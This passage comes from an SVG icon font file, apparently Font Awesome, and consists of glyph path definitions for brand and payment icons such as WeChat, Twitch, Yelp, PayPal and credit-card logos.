-27.5996 -22.2002 -29.7002 -2.90039c-11.5996 129.9 31.1006 239.5 101.4 313.2c-15.5996 34 9.2002 77.0996 50.5996 77.0996c30.3008 0 55.1006 -24.5996 55.1006 -55.0996c0 -44 -49.5 -70.7998 -86.9004 -45.0996 +c-65.7002 -71.3008 -101.399 -169.801 -90.5 -287.2zM192 447.9c92 0 166.6 -74.6006 166.6 -166.5c0 -102.301 -93.2998 -185.5 -204 -162.301c-19 4.7002 -12.5 33.2002 6.60059 29.1006c80.7998 -20.7998 167.7 42.2998 167.7 133.1c0 75.5 -61.5 136.9 -136.9 136.9 +c-101 0 -168.3 -106.601 -122 -199.2c9 -17.9004 -17.5996 -30.7998 -26.2998 -13.4004c-56 108.101 22.3994 242.301 148.3 242.301z" /> + <glyph glyph-name="qq" unicode="" +d="M433.754 27.5547c-11.5264 -1.39258 -44.8604 52.7412 -44.8604 52.7412c0 -31.3447 -16.1357 -72.2471 -51.0508 -101.786c16.8418 -5.19141 54.8428 -19.167 45.8037 -34.4209c-7.31641 -12.3428 -125.511 -7.88086 -159.633 -4.03711 +c-34.1221 -3.84375 -152.315 -8.30566 -159.632 4.03711c-9.04492 15.25 28.918 29.2139 45.7832 34.415c-34.9199 29.5391 -51.0586 70.4453 -51.0586 101.792c0 0 -33.334 -54.1338 -44.8594 -52.7412c-5.37012 0.650391 -12.4238 29.6445 9.34668 99.7041 +c10.2617 33.0244 21.9951 60.4785 40.1445 105.779c-3.05566 116.898 45.2441 214.956 160.262 214.962c113.737 -0.00585938 163.156 -96.1328 160.264 -214.963c18.1182 -45.2227 29.9121 -72.8506 40.1445 -105.778c21.7676 -70.0596 14.7158 -99.0527 9.3457 -99.7041z +" /> + <glyph glyph-name="weixin" unicode="" horiz-adv-x="576" +d="M385.2 280.4c-92.4004 0 -165.4 -69.1006 -165.3 -154c0 -14.2002 2.19922 -27.9004 6.19922 -40.8008c-6.19922 -0.5 -12.0996 -0.799805 -18.2998 -0.799805c-24.3994 0 -43.7998 4.90039 -68.2002 9.7002l-68 -34.0996l19.3008 58.5996 +c-48.6006 34.0996 -77.9004 78.2002 -77.9004 131.6c0 92.6006 87.5 165.4 194.7 165.4c95.5996 0 179.7 -58.2998 196.3 -136.7c-6.2002 0.799805 -12.4004 1.10059 -18.7998 1.10059zM280.7 333.3c-14.7002 0 -29.2002 -9.7002 -29.2998 -24.3994 +c0 -14.5 14.5 -24.2002 29.2998 -24.2002c14.5 0 24.2002 9.7002 24.2002 24.2002c0 14.6992 -9.7002 24.3994 -24.2002 24.3994zM144.3 284.7c14.7998 0 24.4004 9.59961 24.4004 24.2002c0 14.6992 -9.60059 24.3994 -24.4004 24.3994 +c-14.5 0 -29.2998 -9.59961 -29.2998 -24.3994c0 -14.5 14.7998 -24.2002 29.2998 -24.2002zM563 128.6c0 -43.7998 -29 -82.6992 -68.2002 -112.1l14.7998 -48.5996l-53.3994 29.2998c-19.7002 -4.7998 -39.2998 -9.90039 -58.6006 -9.90039 +c-92.5996 0 -165.399 63.4004 -165.399 141.3c0 77.9004 72.7002 141.301 165.399 141.301c87.5 0 165.4 -63.4004 165.4 -141.301zM343.9 153.1c14.6992 0 24.3994 9.60059 24.3994 19.6006c0 9.59961 -9.59961 19.2998 -24.3994 19.2998 +c-9.60059 0 -19.3008 -9.59961 -19.3008 -19.2998c0 -9.90039 9.60059 -19.6006 19.3008 -19.6006zM451 153.1c14.5 0 24.5 9.60059 24.4004 19.6006c0 9.59961 -9.90039 19.2998 -24.4004 19.2998c-9.59961 0 -19.2998 -9.59961 -19.2998 -19.2998 +c0 -9.90039 9.59961 -19.6006 19.2998 -19.6006z" /> + <glyph glyph-name="slideshare" unicode="" horiz-adv-x="512" +d="M187.7 294.3c34 0 61.7002 -25.7002 61.7002 -57.7002c0 -31.6992 -27.7002 -57.6992 -61.7002 -57.6992s-61.7002 26 -61.7002 57.6992c0 32 27.7002 57.7002 61.7002 57.7002zM331.1 294.3c34.3008 0 61.8008 -25.7002 61.7002 -57.7002 +c0 -31.6992 -27.3994 -57.6992 -61.7002 -57.6992c-34 0 -61.6992 26 -61.6992 57.6992c0 32 27.6992 57.7002 61.6992 57.7002zM487.7 204.3c15.2002 10.5 25.2002 -4 16.0996 -17.7998c-18.2998 -22.5996 -53.2002 -50.2998 -106.3 -72 +c56.2998 -191.7 -137.4 -222.3 -134.3 -124c0 0.700195 -0.299805 53.7998 -0.299805 93.5c-4.30078 0.799805 -8.60059 2 -13.7002 3.09961c0 -40 -0.299805 -95.8994 -0.299805 -96.5996c3.09961 -98.2002 -190.601 -67.5996 -134.301 124.1 +c-53.1992 21.7002 -88 49.4004 -106.3 72c-9.09961 13.7002 0.900391 28.3008 16 17.7002c2 -1.39941 4.2998 -2.89941 6.2998 -4.2998v198.3c0 27.4004 20.6006 49.7002 46 49.7002h359.101c25.3994 0 46 -22.2998 46 -49.7002v-198.3zM457.2 185.1h0.0996094v190.601 +c0 32.7998 -10.5996 45.7002 -40.8994 45.7002h-317.7c-31.7002 0 -40.6006 -10.8008 -40.6006 -45.7002v-192.4c67.7002 -35.3994 125.7 -29.0996 157.4 -28c13.4004 0.299805 22 -2.2998 27.0996 -7.7002c1.7002 -1.59961 10 -9.39941 20.3008 -17.0996 +c1.09961 15.7998 10 25.7998 33.6992 24.9004c32.3008 -1.40039 91.7002 -7.7002 160.601 29.6992z" /> + <glyph glyph-name="twitch" unicode="" horiz-adv-x="512" +d="M391.17 344.53v-109.7h-38.6299v109.7h38.6299zM285 345v-109.75h-38.6299v109.75h38.6299zM120.83 448h366.86v-256l-173.771 -164.58h-77.25l-96.5303 -91.4199v91.4199h-115.83v329.16zM449.07 210.25v201.17h-308.931v-274.29h86.8701v-64l67.6006 64h77.2393z" /> + <glyph glyph-name="yelp" unicode="" horiz-adv-x="384" +d="M42.9004 207.68l99.6191 -48.6094c19.2002 -9.40039 16.2002 -37.5107 -4.5 -42.71l-107.52 -26.8105c-1.78223 -0.448242 -3.64746 -0.685547 -5.56738 -0.685547c-11.7246 0 -21.3848 8.89453 -22.6426 20.2861c-0.853516 7.44141 -1.29297 15.0078 -1.29297 22.6768 +c0 21.9561 3.65723 42.9111 10.293 62.6426c3.03906 9.02148 11.5723 15.5264 21.6133 15.5264c3.5791 0 6.98145 -0.84375 9.99707 -2.31641zM86.9004 -31.5703c-6.01172 4.1123 -9.9248 11.0195 -9.9248 18.8457c0 5.85742 2.21191 11.2021 5.84473 15.2441l74.21 82.4004 +c14.3096 15.8105 40.5098 5.2002 39.8096 -16.0996l-3.89941 -110.82c-0.414062 -12.21 -10.4365 -22.0088 -22.7461 -22.0088c-1.32129 0 -2.61523 0.112305 -3.87402 0.329102c-28.9365 4.90039 -56.1416 16.1621 -79.4199 32.1094zM232.24 78.3496 +c-11.2998 18.1104 6.2002 40.4102 26.5098 33.9102l105.42 -34.2598c9.14453 -3.04102 15.7305 -11.6855 15.7305 -21.8447c0 -3.46289 -0.767578 -6.74805 -2.14062 -9.69531c-12.5361 -26.3281 -30.4697 -49.2246 -52.71 -67.6104 +c-3.96191 -3.26465 -9.03809 -5.25781 -14.5674 -5.25781c-8.18555 0 -15.375 4.29785 -19.4326 10.7578zM380.57 210.58c1.21289 -2.79883 1.93359 -5.89941 1.93359 -9.1416c0 -10.4385 -6.96875 -19.2627 -16.5039 -22.0684l-106.64 -30.5098 +c-20.5 -5.90039 -37.1006 17.0098 -25.2002 34.71l62 91.9199c4.10742 6.08398 11.0635 10.0615 18.9502 10.0615c5.76172 0 11.0283 -2.1377 15.0498 -5.66211c21.5781 -19.0479 38.7783 -42.5518 50.4102 -69.3096zM62.1104 417.82 +c34.3301 16.3438 72.6104 26.9434 112.33 30.0996c0.610352 0.0498047 1.20703 0.078125 1.83008 0.078125c12.5127 0 22.6709 -10.1582 22.6709 -22.6699c0 -0.0693359 -0.000976562 -0.138672 -0.000976562 -0.208008v-208.34 +c0 -23.2998 -30.9102 -31.6006 -42.6104 -11.4004l-104.12 180.44c-1.92871 3.35059 -3.06738 7.24805 -3.06738 11.3887c0 9.07422 5.29883 16.9199 12.9678 20.6113z" /> + <glyph glyph-name="paypal" unicode="" horiz-adv-x="384" +d="M111.4 152.1c-3.5 -19.1992 -17.4004 -108.699 -21.5 -134c-0.300781 -1.7998 -1 -2.5 -3 -2.5h-74.6006c-7.59961 0 -13.0996 6.60059 -12.0996 13.9004l58.5996 371.9c1.5 9.59961 10.1006 16.8994 20 16.8994c152.3 0 165.101 3.7002 204 -11.3994 +c60.1006 -23.3008 65.6006 -79.5 44 -140.301c-21.5 -62.5996 -72.5 -89.5 -140.1 -90.2998c-43.4004 -0.700195 -69.5 7 -75.2998 -24.2002zM357.1 296c28.4004 -21.2002 30.3008 -57.7998 23.8008 -92.5996c-16.5 -83.5 -71.9004 -112.301 -142.9 -112.301 +c-15 0 -24.7002 2.30078 -29.2998 -19.6992c-15.5 -97.4004 -13.7002 -85.9004 -14.4004 -91.3008c-1.7002 -8.59961 -8.7998 -14.8994 -17.3994 -14.8994h-63.5c-7.10059 0 -11.6006 5.7998 -10.6006 12.8994c0 0 4.5 29.3008 27.1006 169.7 +c0.799805 6.10059 4.7998 9.40039 10.8994 9.40039c54 0 164.601 -9.90039 204.5 103.899c3.7002 11.1006 6.7998 22.2002 8.7998 33.6006c0.5 3.09961 1.2002 2.59961 3 1.2998z" /> + <glyph glyph-name="google-wallet" unicode="" +d="M156.8 321.2c37.6006 -60.6006 64.2002 -113.101 84.2998 -162.5c-8.2998 -33.7998 -18.7998 -66.5 -31.2998 -98.2998c-13.2002 52.2998 -26.5 101.3 -56 148.5c6.5 36.3994 2.2998 73.5996 3 112.3zM109.3 248c5 0 10 -2.5 13 -6.5 +c43.7998 -59.7998 66.2998 -123.8 82.5 -193.5h-103.5c-20 69.5 -49.5 133 -91.7002 187.3c-4 5.2002 0 12.7002 6.5 12.7002h93.2002zM157.1 336h108.7c74.7998 -103 131.2 -230 143.2 -368h-113.7c-8.2002 133.5 -69.7002 260 -138.2 368zM408.9 404.5 +c19 -67.5 31.0996 -139 31.0996 -212.6c0 -69.5 -9.5 -142.5 -25.2998 -203c-10.9004 92.5 -42.4004 184.6 -90.6006 270.8c-4.19922 50.5 -13.2998 99.5 -26.5 146c-1.19922 5.2998 2.5 10.2998 7.80078 10.2998h88.2998c7 0 13.3994 -4.7002 15.2002 -11.5z" /> + <glyph glyph-name="cc-visa" unicode="" horiz-adv-x="576" +d="M470.1 216.7c0 0 7.60059 -37.2002 9.30078 -45h-33.4004c3.2998 8.89941 16 43.5 16 43.5c-0.200195 -0.299805 3.2998 9.09961 5.2998 14.8994zM576 368v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480 +c26.5 0 48 -21.5 48 -48zM152.5 116.8l63.2002 155.2h-42.5l-39.2998 -106l-4.30078 21.5l-14 71.4004c-2.2998 9.89941 -9.39941 12.6992 -18.1992 13.0996h-64.7002l-0.700195 -3.09961c15.7998 -4 29.9004 -9.80078 42.2002 -17.1006l35.7998 -135h42.5zM246.9 116.6 +l25.1992 155.4h-40.1992l-25.1006 -155.4h40.1006zM386.8 167.4c0.200195 17.6992 -10.5996 31.1992 -33.7002 42.2998c-14.0996 7.09961 -22.6992 11.8994 -22.6992 19.2002c0.199219 6.59961 7.2998 13.3994 23.0996 13.3994 +c13.0996 0.299805 22.7002 -2.7998 29.9004 -5.89941l3.59961 -1.7002l5.5 33.5996c-7.90039 3.10059 -20.5 6.60059 -36 6.60059c-39.7002 0 -67.5996 -21.2002 -67.7998 -51.4004c-0.299805 -22.2998 20 -34.7002 35.2002 -42.2002 +c15.5 -7.59961 20.7998 -12.5996 20.7998 -19.2998c-0.200195 -10.4004 -12.6006 -15.2002 -24.1006 -15.2002c-16 0 -24.5996 2.5 -37.6992 8.2998l-5.30078 2.5l-5.59961 -34.8994c9.40039 -4.2998 26.7998 -8.10059 44.7998 -8.2998 +c42.2002 -0.100586 69.7002 20.7998 70 53zM528 116.6l-32.4004 155.4h-31.0996c-9.59961 0 -16.9004 -2.7998 -21 -12.9004l-59.7002 -142.5h42.2002s6.90039 19.2002 8.40039 23.3008h51.5996c1.2002 -5.5 4.7998 -23.3008 4.7998 -23.3008h37.2002z" /> + <glyph glyph-name="cc-mastercard" unicode="" horiz-adv-x="576" +d="M482.9 37.7002c0 -6.7998 -4.60059 -11.7002 -11.2002 -11.7002c-6.7998 0 -11.2002 5.2002 -11.2002 11.7002s4.40039 11.7002 11.2002 11.7002c6.59961 0 11.2002 -5.2002 11.2002 -11.7002zM172.1 49.4004c6.5 0 10.8008 -5.2002 10.9004 -11.7002 +c0 -6.7998 -4.40039 -11.7002 -10.9004 -11.7002c-7.09961 0 -11.1992 5.2002 -11.1992 11.7002s4.09961 11.7002 11.1992 11.7002zM289.6 49.7002c5.2002 0 8.7002 -3 9.60059 -8.7002h-19.1006c0.800781 5.2002 4.10059 8.7002 9.5 8.7002zM397.4 49.4004 +c6.7998 0 11.1992 -5.2002 11.1992 -11.7002c0 -6.7998 -4.39941 -11.7002 -11.1992 -11.7002c-6.80078 0 -10.9004 5.2002 -10.9004 11.7002s4.09961 11.7002 10.9004 11.7002zM503.3 23.2998c0 -0.299805 0.299805 -0.5 0.299805 -1.09961 +c0 -0.299805 -0.299805 -0.5 -0.299805 -1.10059c-0.299805 -0.299805 -0.299805 -0.5 -0.5 -0.799805c-0.299805 -0.299805 -0.5 -0.5 -1.09961 -0.5c-0.299805 -0.299805 -0.5 -0.299805 -1.10059 -0.299805c-0.299805 0 -0.5 0 -1.09961 0.299805 +c-0.299805 0 -0.5 0.299805 -0.799805 0.5c-0.299805 0.299805 -0.5 0.5 -0.5 0.799805c-0.299805 0.5 -0.299805 0.800781 -0.299805 1.10059c0 0.5 0 0.799805 0.299805 1.09961c0 0.5 0.299805 0.799805 0.5 1.10059c0.299805 0.299805 0.5 0.299805 0.799805 0.5 +c0.5 0.299805 0.799805 0.299805 1.09961 0.299805c0.5 0 0.800781 0 1.10059 -0.299805c0.5 -0.300781 0.799805 -0.300781 1.09961 -0.5c0.299805 -0.200195 0.200195 -0.600586 0.5 -1.10059zM501.1 21.9004c0.5 0 0.5 0.299805 0.800781 0.299805 +c0.299805 0.299805 0.299805 0.5 0.299805 0.799805s0 0.5 -0.299805 0.799805c-0.300781 0 -0.5 0.299805 -1.10059 0.299805h-1.59961v-3.5h0.799805v1.40039h0.299805l1.10059 -1.40039h0.799805zM576 367v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48 +v352c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48zM64 227.4c0 -76.5 62.0996 -138.5 138.5 -138.5c27.2002 0 53.9004 8.19922 76.5 23.0996c-72.9004 59.2998 -72.4004 171.2 0 230.5c-22.5996 15 -49.2998 23.0996 -76.5 23.0996 +c-76.4004 0.100586 -138.5 -62 -138.5 -138.199zM288 118.6c70.5 55 70.2002 162.2 0 217.5c-70.2002 -55.2998 -70.5 -162.6 0 -217.5zM145.7 42.2998c0 8.7002 -5.7002 14.4004 -14.7002 14.7002c-4.59961 0 -9.5 -1.40039 -12.7998 -6.5 +c-2.40039 4.09961 -6.5 6.5 -12.2002 6.5c-3.7998 0 -7.59961 -1.40039 -10.5996 -5.40039v4.40039h-8.2002v-36.7002h8.2002c0 18.9004 -2.5 30.2002 9 30.2002c10.1992 0 8.19922 -10.2002 8.19922 -30.2002h7.90039c0 18.2998 -2.5 30.2002 9 30.2002 +c10.2002 0 8.2002 -10 8.2002 -30.2002h8.2002v23h-0.200195zM190.6 56h-7.89941v-4.40039c-2.7002 3.30078 -6.5 5.40039 -11.7002 5.40039c-10.2998 0 -18.2002 -8.2002 -18.2002 -19.2998c0 -11.2002 7.90039 -19.2998 18.2002 -19.2998 +c5.2002 0 9 1.89941 11.7002 5.39941v-4.59961h7.89941v36.7998zM231.1 30.4004c0 15 -22.8994 8.19922 -22.8994 15.1992c0 5.7002 11.8994 4.80078 18.5 1.10059l3.2998 6.5c-9.40039 6.09961 -30.2002 6 -30.2002 -8.2002c0 -14.2998 22.9004 -8.2998 22.9004 -15 +c0 -6.2998 -13.5 -5.7998 -20.7002 -0.799805l-3.5 -6.2998c11.2002 -7.60059 32.5996 -6 32.5996 7.5zM266.5 21.0996l-2.2002 6.80078c-3.7998 -2.10059 -12.2002 -4.40039 -12.2002 4.09961v16.5996h13.1006v7.40039h-13.1006v11.2002h-8.19922v-11.2002h-7.60059 +v-7.2998h7.60059v-16.7002c0 -17.5996 17.2998 -14.4004 22.5996 -10.9004zM279.8 34.5h27.5c0 16.2002 -7.39941 22.5996 -17.3994 22.5996c-10.6006 0 -18.2002 -7.89941 -18.2002 -19.2998c0 -20.5 22.5996 -23.8994 33.7998 -14.2002l-3.7998 6 +c-7.7998 -6.39941 -19.6006 -5.7998 -21.9004 4.90039zM338.9 56c-4.60059 2 -11.6006 1.7998 -15.2002 -4.40039v4.40039h-8.2002v-36.7002h8.2002v20.7002c0 11.5996 9.5 10.0996 12.7998 8.40039zM349.5 37.7002c0 11.3994 11.5996 15.0996 20.7002 8.39941l3.7998 6.5 +c-11.5996 9.10059 -32.7002 4.10059 -32.7002 -15c0 -19.7998 22.4004 -23.7998 32.7002 -15l-3.7998 6.5c-9.2002 -6.5 -20.7002 -2.59961 -20.7002 8.60059zM416.2 56h-8.2002v-4.40039c-8.2998 11 -29.9004 4.80078 -29.9004 -13.8994 +c0 -19.2002 22.4004 -24.7002 29.9004 -13.9004v-4.59961h8.2002v36.7998zM449.9 56c-2.40039 1.2002 -11 2.90039 -15.2002 -4.40039v4.40039h-7.90039v-36.7002h7.90039v20.7002c0 11 9 10.2998 12.7998 8.40039zM490.2 70.9004h-7.90039v-19.3008 +c-8.2002 10.9004 -29.8994 5.10059 -29.8994 -13.8994c0 -19.4004 22.5 -24.6006 29.8994 -13.9004v-4.59961h7.90039v51.7002zM497.8 146v-4.59961h0.799805v4.59961h1.90039v0.799805h-4.59961v-0.799805h1.89941zM504.4 22.2002c0 0.5 0 1.09961 -0.300781 1.59961 +c-0.299805 0.299805 -0.5 0.799805 -0.799805 1.10059c-0.299805 0.299805 -0.799805 0.5 -1.09961 0.799805c-0.5 0 -1.10059 0.299805 -1.60059 0.299805c-0.299805 0 -0.799805 -0.299805 -1.39941 -0.299805c-0.5 -0.299805 -0.799805 -0.5 -1.10059 -0.799805 +c-0.5 -0.300781 -0.799805 -0.800781 -0.799805 -1.10059c-0.299805 -0.5 -0.299805 -1.09961 -0.299805 -1.59961c0 -0.299805 0 -0.799805 0.299805 -1.40039c0 -0.299805 0.299805 -0.799805 0.799805 -1.09961c0.300781 -0.299805 0.5 -0.5 1.10059 -0.799805 +c0.5 -0.300781 1.09961 -0.300781 1.39941 -0.300781c0.5 0 1.10059 0 1.60059 0.300781c0.299805 0.299805 0.799805 0.5 1.09961 0.799805s0.5 0.799805 0.799805 1.09961c0.300781 0.600586 0.300781 1.10059 0.300781 1.40039zM507.6 146.9h-1.39941l-1.60059 -3.5 +l-1.59961 3.5h-1.40039v-5.40039h0.800781v4.09961l1.59961 -3.5h1.09961l1.40039 3.5v-4.09961h1.09961v5.40039zM512 227.4c0 76.1992 -62.0996 138.3 -138.5 138.3c-27.2002 0 -53.9004 -8.2002 -76.5 -23.1006c72.0996 -59.2998 73.2002 -171.5 0 -230.5 +c22.5996 -15 49.5 -23.0996 76.5 -23.0996c76.4004 -0.0996094 138.5 61.9004 138.5 138.4z" /> + <glyph glyph-name="cc-discover" unicode="" horiz-adv-x="576" +d="M520.4 251.9c0 -8.40039 -5.5 -12.8008 -15.8008 -12.8008h-4.69922v24.9004h4.89941c10.1006 0 15.6006 -4.2002 15.6006 -12.0996zM528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480z +M483.9 277.1v-82h16v32.8008h2.19922l22.2002 -32.8008h19.6006l-25.8008 34.4004c12.1006 2.5 18.7002 10.5996 18.7002 23.2002c0 28.5 -30.2998 24.3994 -52.8994 24.3994zM428 277v-82h45.2998v13.7998h-29.2998v22.2002h28.2998v13.7998h-28.2998v18.2002h29.2998v14 +h-45.2998zM359.3 277h-17.5l35 -84.2002h8.60059l35.5 84.2002h-17.5l-22.2002 -55.2002zM303.4 280c-24.6006 0 -44.6006 -19.9004 -44.6006 -44.5996c0 -24.6006 19.9004 -44.6006 44.6006 -44.6006c24.5996 0 44.5996 19.9004 44.5996 44.6006 +c0 24.5996 -19.9004 44.5996 -44.5996 44.5996zM254.1 273.9c-30.1992 15 -63.2998 -6.80078 -63.2998 -38c0 -32.5 33.6006 -52.5 63.2998 -38.2002v19c-19.2998 -19.2998 -46.7998 -5.7998 -46.7998 19.2002c0 23.6992 26.7002 39.0996 46.7998 19v19zM156.9 207.6 +c-7.60059 0 -13.8008 3.7002 -17.5 10.8008l-10.3008 -9.90039c17.8008 -26.0996 56.6006 -18.2002 56.6006 11.2998c0 13.1006 -5.40039 19 -23.6006 25.6006c-9.59961 3.39941 -12.2998 5.89941 -12.2998 10.2998c0 8.7002 14.5 14.0996 24.9004 2.5l8.39941 10.7998 +c-19.0996 17.0996 -49.6992 8.90039 -49.6992 -14.2998c0 -11.2998 5.19922 -17.2002 20.1992 -22.7002c25.7002 -9.09961 14.7002 -24.4004 3.30078 -24.4004zM55.4004 195c30.8994 0 44.0996 22.4004 44.0996 40.9004c0 24.0996 -18 41.0996 -44.0996 41.0996h-23.4004 +v-82h23.4004zM122.9 195v82h-16v-82h16zM544 15v145c-33.2998 -20.7998 -226.4 -124.4 -416 -160h401c8.2002 0 15 6.7998 15 15zM74.0996 256.4c5.7002 -5 8.90039 -12.6006 8.90039 -20.5c0 -7.90039 -3.2002 -15.5 -8.90039 -20.7002 +c-4.89941 -4.40039 -11.5996 -6.40039 -21.8994 -6.40039h-4.2002v54.2002h4.2002c10.2998 0 16.7002 -1.7002 21.8994 -6.59961z" /> + <glyph glyph-name="cc-amex" unicode="" horiz-adv-x="576" +d="M325.1 280.2c0.100586 -8 -4.2998 -15.7002 -11.6992 -18.7002c9.5 -3.2998 11 -9.2002 11 -18.4004v-13.5h-16.6006c-0.299805 14.8008 3.60059 25.1006 -14.7998 25.1006h-18v-25.1006h-16.4004v69.3008l39.1006 -0.300781c13.2998 0 27.3994 -2 27.3994 -18.3994z +M295.7 268.9c5.7002 0 11 1.2998 11 7.89941c0 6.40039 -5.60059 7.40039 -10.7002 7.40039h-21v-15.2998h20.7002zM279 179.4c15.5996 0 27.9004 -5.40039 27.9004 -22.7002c0 -27.9004 -30.4004 -23.2998 -49.3008 -23.2998l-0.0996094 -23.3008h-32.2002l-20.3994 23 +l-21.3008 -23h-65.3994l0.0996094 69.3008h66.5l20.5 -22.8008l21 22.8008h52.7002zM175.2 124.7l19 20.2002l-17.9004 20.1992h-41.7002v-12.5h36.3008v-14.0996h-36.3008v-13.7998h40.6006zM241 116.5v55.5l-25.2998 -27.4004zM278.8 147.5 +c5.90039 0 10.5 2.7998 10.5 9.2002c0 6.09961 -4.59961 8.39941 -10.2002 8.39941h-21.5v-17.5996h21.2002zM247.2 284.2h-38.9004v-12.5h37.7998v-14.1006h-37.7998v-13.7998h38.9004v-14.2998h-55.5v69.2998h55.5v-14.5996zM576 192.6h-0.200195h0.200195zM381.4 160.7 +c-0.100586 -7.60059 -4.2002 -15.2998 -11.9004 -18.4004c9.2002 -3.2998 11 -9.5 11 -18.3994l-0.0996094 -13.8008h-16.6006l0.100586 11.5c0 11.8008 -3.80078 13.8008 -14.8008 13.8008h-17.5996l-0.0996094 -25.3008h-16.6006l0.100586 69.3008h39.3994 +c13 0 27.1006 -2.30078 27.1006 -18.7002zM352.2 149.5c5.59961 0 11 1.2998 11 8.2002c0 6.39941 -5.60059 7.39941 -10.7002 7.39941h-21v-15.5996h20.7002zM179.4 229.5h-16.8008v54.2002l-24 -54.2002h-14.5996l-24 54.2002v-54.2002h-33.7998l-6.40039 15.2998h-34.5 +l-6.39941 -15.2998h-17.9004l29.7002 69.2998h24.5l28.0996 -65.7002v65.7002h27.1006l21.6992 -47l19.7002 47h27.6006v-69.2998zM31.2002 259.2h22.7002l-11.5 27.5996zM508.6 100.3c34.8008 0 54.8008 -2.2002 67.5 6.10059v-90.4004c0 -26.5 -21.5 -48 -48 -48h-480.1 +c-26.5 0 -48 21.5 -48 48v203.7h26.5996c4.2002 10.0996 2.2002 5.2998 6.40039 15.2998h19.2002c4.2002 -10 2.2002 -5.2002 6.39941 -15.2998h52.9004v11.3994c2.2002 -5 1.09961 -2.5 5.09961 -11.3994h29.5c2.40039 5.5 2.60059 5.7998 5.10059 11.3994v-11.3994h135.5 +v25.0996c6.39941 0 8 0.100586 9.7998 -0.200195c0 0 -0.200195 -10.8994 0.0996094 -24.7998h66.5v8.90039c7.40039 -5.90039 17.4004 -8.90039 29.7002 -8.90039h26.7998c4.2002 10.1006 2.2002 5.2998 6.40039 15.2998h19c6.5 -15 0.200195 -0.5 6.59961 -15.2998 +h52.8008v21.9004c11.7998 -19.7002 7.7998 -12.9004 13.1992 -21.9004h41.6006v92h-39.9004v-18.3994c-12.2002 20.1992 -6.2998 10.3994 -11.2002 18.3994h-43.2998v-20.5996c-6.2002 14.5996 -4.59961 10.7998 -8.7998 20.5996h-32.4004 +c-0.399414 0 -2.2998 -0.200195 -2.2998 0.299805h-27.5996c-12.7998 0 -23.1006 -3.19922 -30.7002 -9.2998v9.2998h-39.9004v-5.2998c-10.7998 6.10059 -20.6992 5.10059 -64.3994 5.2998c-0.100586 0 -11.6006 0.100586 -11.6006 0h-103 +c-2.5 -6.09961 -6.7998 -16.3994 -12.5996 -30c-2.7998 6 -11 23.8008 -13.9004 30h-46v-21.0996c-7.39941 17.4004 -4.69922 11 -9 21.0996h-39.6992c-3.40039 -7.89941 -13.7002 -32 -23.1006 -53.8994v109.8c0 26.5 21.5 48 48 48h480c26.5 0 48 -21.5 48 -48v-175.4 +c-37.7002 0.200195 -44 0.900391 -54.2998 -5v5c-45.2998 0 -53.5 1.7002 -64.9004 -5.19922v5.19922h-78.1992v-5.09961c-11.4004 6.5 -21.4004 5.09961 -75.7002 5.09961v-5.59961c-6.2998 3.7002 -14.5 5.59961 -24.2998 5.59961h-58 +c-3.5 -3.7998 -12.5 -13.6992 -15.7002 -17.1992c-12.7002 14.0996 -10.5 11.5996 -15.5 17.1992h-83.1006v-92.2998h82c3.30078 3.5 12.9004 13.9004 16.1006 17.4004c12.7002 -14.2998 10.2998 -11.7002 15.3994 -17.4004h48.9004 +c0 14.7002 0.0996094 8.2998 0.0996094 23c11.5 -0.200195 24.3008 0.200195 34.3008 6.2002c0 -13.9004 -0.100586 -17.0996 -0.100586 -29.2002h39.6006c0 18.5 0.0996094 7.40039 0.0996094 25.2998c6.2002 0 7.7002 0 9.40039 -0.0996094 +c0.0996094 -1.2998 0 0 0 -25.2002c152.8 0 145.899 -1.09961 156.699 4.5v-4.5zM544.9 164.8c-4.60059 0 -9.2002 -0.700195 -9.2002 -6.5c0 -12.2002 28.7998 0.299805 39.2998 -13.5v-25.7998c-4.90039 -7.09961 -14.0996 -8.90039 -22.5 -8.90039h-32l0.0996094 14.8008 +h32c4.10059 0 8.40039 1.2998 8.40039 6.39941c0 14.6006 -42.7002 -5.59961 -42.7002 27.4004c0 14.0996 11 20.7002 23.7998 20.7002h32.9004v-14.6006h-30.0996zM487.9 125c4.09961 0 8.69922 1 8.7998 6.40039c0 14.8994 -42.7002 -5.60059 -42.7002 27.3994 +c0 14.1006 10.7002 20.7002 23.5 20.7002h33.2002v-14.5996h-30.4004c-4.2998 0 -9.2002 -0.800781 -9.2002 -6.40039c0 -15.0996 42.9004 6.90039 42.9004 -26.2998c0 -16.4004 -11.4004 -22 -26.2002 -22h-32.2002l0.100586 14.7998h32.2002zM445.7 165.1h-38.5v-12.5 +h37.7998v-14.0996h-37.9004v-13.7998l38.6006 -0.299805l-0.100586 -14.3008h-55.1992l0.0996094 69.3008h55.2002v-14.3008zM389.4 273.2c0.299805 0.299805 1.69922 1 7.2998 1c1 0 2 -0.100586 3.09961 -0.100586l-7.2998 -16.8994 +c-2.2998 0 -3.2002 0.399414 -3.40039 0.5c-0.199219 0.200195 -1.09961 1.89941 -1.09961 7.89941c0 5.40039 1.09961 7.40039 1.40039 7.60059zM409.8 283.7h-0.0996094h0.0996094zM393.6 298.9h16.1006v-15.2002c-17.4004 0.299805 -33.1006 4.09961 -33.1006 -19.7002 +c0 -11.7998 2.80078 -19.9004 16.1006 -19.9004h7.39941l23.5 54.5h24.8008l27.8994 -65.3994v65.3994h25.2998l29.1006 -48.0996v48.0996h16.8994v-69h-23.5996l-31.2002 51.9004v-51.9004h-33.7002l-6.59961 15.3008h-34.2998l-6.40039 -15.3008h-19.2002 +c-22.7998 0 -33 11.8008 -33 34c0 23.3008 10.5 35.3008 34 35.3008zM435.7 286.8l-11.6006 -27.5996h22.8008zM334.6 298.8h16.9004v-69.2998h-16.9004v69.2998z" /> + <glyph glyph-name="cc-paypal" unicode="" horiz-adv-x="576" +d="M186.3 189.8c0 -12.2002 -9.7002 -21.5 -22 -21.5c-9.2002 0 -16 5.2002 -16 15c0 12.2002 9.5 22 21.7002 22c9.2998 0 16.2998 -5.7002 16.2998 -15.5zM80.5 238.3c11.2998 0 19.7998 -1.5 17.5 -14.8994c-2 -12.7002 -10.5 -14.2002 -21.5 -14.2002l-8.2002 -0.299805 +l4.2998 26.6992c0.200195 1.7002 1.7002 2.7002 3.2002 2.7002h4.7002zM364.5 238.3c8.5 0 18 -0.5 18.0996 